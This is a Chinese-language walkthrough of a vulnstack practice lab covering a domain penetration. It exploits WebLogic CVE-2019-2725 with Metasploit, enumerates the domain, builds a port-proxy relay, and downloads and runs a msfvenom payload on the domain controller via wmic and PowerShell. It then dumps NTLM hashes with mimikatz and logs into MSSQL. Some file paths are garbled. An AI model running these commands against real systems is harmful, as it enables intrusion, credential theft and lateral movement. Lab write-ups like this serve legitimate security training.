靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
太长不看版
流水
1. 建立立足点
官方环境是用parrot,我的鸟坏了,就先用kali来搞搞,启动web主机后需要启动weblogic。『一开始不知道,配网网络就一顿探测,除了弱口令(已经知道的密码)本菜鸡一点头绪都没有』
将kali(192.168.111.131)置于NAT网络中,探测同网络主机
使用nmap扫描常见端口,寻找突破点(如果都无法突破的话再尝试扫描所有端口。)
因为201的主机没有什么对外服务,所以靠80的主机下手,80端口是空白页。
简单路径爆破一下, 没有结果
但是对weblogic的扫描出了结果,反序列化CVE-2019-2725
利用msf获取shell
注意:msf
默认的target
为unix
,需要改为windows
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set target Windows
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_tcp
列一下进程,发现360在,惊不惊喜意不意外『骗你的,因为是进去之后起的weblogic,知道360在……』
简单看一下还发现了另个域中的用户,小本子记下来,很有可能这个用户就可以登录sqlserver。
2. 内网信息搜集
搜集本机信息
借助域用户的权限,探查一下域信息
确认是否在域中,同时获取主域控地址(
net time /domain
):\DC.de1ay.com
网卡信息(ipconfig /all
):主机名 WEB,IP1:10.10.10.80,IP2:192.168.111.80
域用户(net user /domain
):Administrator、de1ay 、Guest、krbtgt、mssql(用户组没有什么特别的)
域管用户(net group "Domain Admins" /domain
):Administrator
确认域控主机(net group "Domain Controllers" /domain
):DC$
域主机(net group "Domain Computers" /domain
):PC$, WEB$
查看共享(net view <PC> /all
):没有什么特别的
检查网络信息:
netstat -ano
:检查端口信息,和nmap扫描结果基本一致,多了个3389,没有其他主机连接『废话,有链接就吓人了』
arp -a
:查询arp缓存表(查看最近通信主机),找到10.10.10.10、192.168.111.67通过ping命令获取域内主机IP地址:PC(10.10.10.201)、DC(10.10.10.10),但是PC这个主机ping不通,可能是由于开启了windows防火墙
使用当前令牌尝试连接域控:『一点也不惊奇,我就是域管理员啊……』
还是域控吸引力更大一些,而且我现在已经是域管理用户了
搜集域控信息
查看进程情况,没有杀毒『你说开心不开心』
看一下cpu位数,准备上马wmic /node:10.10.10.10 cpu get name^,extclock^,cpustatus^,description/value
3. 横向拓展
配置路由规则,准备内网拓展。
nmap探测端口,确保端口没有被占用。
使用msf生成一个64位的meterpreter马:
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > x64.exe
添加防火墙规则,构建转发通道(因为目前控制的主机WEB上有360,我怕直接把马传上去会被杀,所以想要直接把马下载到域控主机中):
netsh advfirewall firewall add rule name="Pr0xyHTTP" protocol=TCP dir=in localport=8443 action=allow
netsh interface portproxy add v4tov4 listenaddress=10.10.10.80 listenport=8443 connectaddress=192.168.111.131 connectport=8666
利用wmic执行文件下载命令:
powershell中的base64解码为:
(New-Object System.Net.WebClient).DownloadFile('http://10.10.10.80:8443/x64.exe', 'c:windows empx64.exe')
这个地方之所以使用base64编码,是因为逗号在wmic命令中作为参数的分隔符被识别,导致无法在命令使用
,
确认文件上传成功:
启动木马:
添加防火墙规则:
连接成功
迁移进程,获取权限
至此,理论上对这个虚拟靶机环境中所有涉及到域认证的权限已经全部掌握了,接下来就是要看一看另一台靶机(PC)中有什么内容,以及入口点(WEB)中的那个数据库如何连接。
4. 扩大战果
在域控上加载kiwi,抓取密码,但是抓不到
高版本系统默认不记录明文口令
取一下用户的NTLM哈希,留作备用(传了一套mimikatz上去,原因在文末)
4.2 另一台主机
尝试连接另一台主机PC
『刺激了,连接不上』
切回WEB主机,发现可以访问
在公共的桌面上发现了slqserver的客户端工具,没有什么其他的东西了
看一下进程,也没有什么有用的,那么目前的判断就是一个客户机。
4.1 mssql数据库
将NTLM 哈希结算一下『其实我也不想来解这个密码,因为毕竟一开始是知道靶机密码的,这样做其实是有点看答案的嫌疑的,但是我也是没办法,原因在文末』
利用解算出的密码尝试连接mssql数据库
可以执行查询命令,没有什么特别的数据库,所以这次实验就到此结束了。
遇到的坑
这次靶机主要是温习一下流程,很久没有做实际操作了,很多东西都忘记了。
-
虽然磕磕绊绊地做完了,但是还是有些作弊的地方,最直接的就是WEB主机的那个WebLogic,我觉得出题人应该是想用本地用户来启动WebLogic,这样获取的是计算机的本地管理员,而不是域管理的权限,但是我没有才出来本地管理员的密码,有时间我把密码重置一下,再补充这方面的内容。
-
用户常见的目录,除了桌面以外:
用户的开始菜单:
C:Users estAppDataRoamingMicrosoftWindowsStart MenuPrograms
用户的最近访问:
C:Users estAppDataRoamingMicrosoftWindowsRecent
-
我的msf中kiwi(mimikatz的64位版)有些问题,无法获取域的哈希『也可能是我自己使用的姿势不对』
-
不知道域控为什么无法连接
PC
的那个靶机。 -
对于连接mssql数据库的操作,其实尝试了使用mimikatz 的PTH功能启动SQL Management studio,但是结果并不是自己想象的那样,进程无法识别到注入的凭据,在网上也没有找到相应的办法,也尝试了使用mimikatz 的PTH功能,之后使用osql.exe和sqlcmd.exe,也没能成功连接目标数据库。
其实我觉得可以直接通过在WEB那个主机上迁移Meterpreter会话到mssql用户的那个进程中就可以获得相应的权限,但是考虑到那台主机上有360『而且我还不会关(除了用3389登上去的方法)』,因此一直在找通过远程主机连接的方法。当然,也不排除实际环境中管理员设置弱口令,甚至是密码重用的情况。
-
mssql查询所有数据库的办法命令:
Select Name From Master..SysDatabases order By Name
-
wmic 全盘搜索某文件并获取该文件所在目录
for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)
-
在kali中构造的base64字符串无法被powershell解析,应该是字符集的问题
通过https://www.cnblogs.com/zlgxzswjy/p/9275818.html,找到解决方法$fileContent = "所要编码的脚本" $bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent) $encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand